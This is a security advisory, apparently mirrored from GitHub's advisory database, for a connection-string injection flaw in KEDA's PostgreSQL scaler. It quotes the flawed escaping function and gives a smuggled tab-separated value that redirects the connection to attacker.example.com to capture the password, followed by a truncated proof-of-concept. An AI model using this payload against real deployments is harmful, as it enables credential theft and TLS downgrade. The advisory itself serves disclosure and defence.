mediumCVSS 5.9Vulnerability

CVE-2026-53572

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tssl

Properties

ghsa_id
GHSA-6w3m-4hhp-775q
severity
medium
summary
KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping
cvss_score
5.9
cve_id
CVE-2026-53572
cvss_vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
is_ghsa_only
false
ghsa_published
2026-07-07T23:44:13Z
source_url
https://github.com/advisories/GHSA-6w3m-4hhp-775q
ghsa_updated
2026-07-07T23:44:14Z

Related Entities (5)

VULNERABLE_TO (1)

[Software]go/github.com/kedacore/keda/v2

AFFECTS (1)

[Software]go/github.com/kedacore/keda/v2

HAS_WEAKNESS (2)

[Weakness]Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
[Weakness]Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-53572 (CVSS 5.9) — Ninja Signal Threat Intelligence | Ninja Signal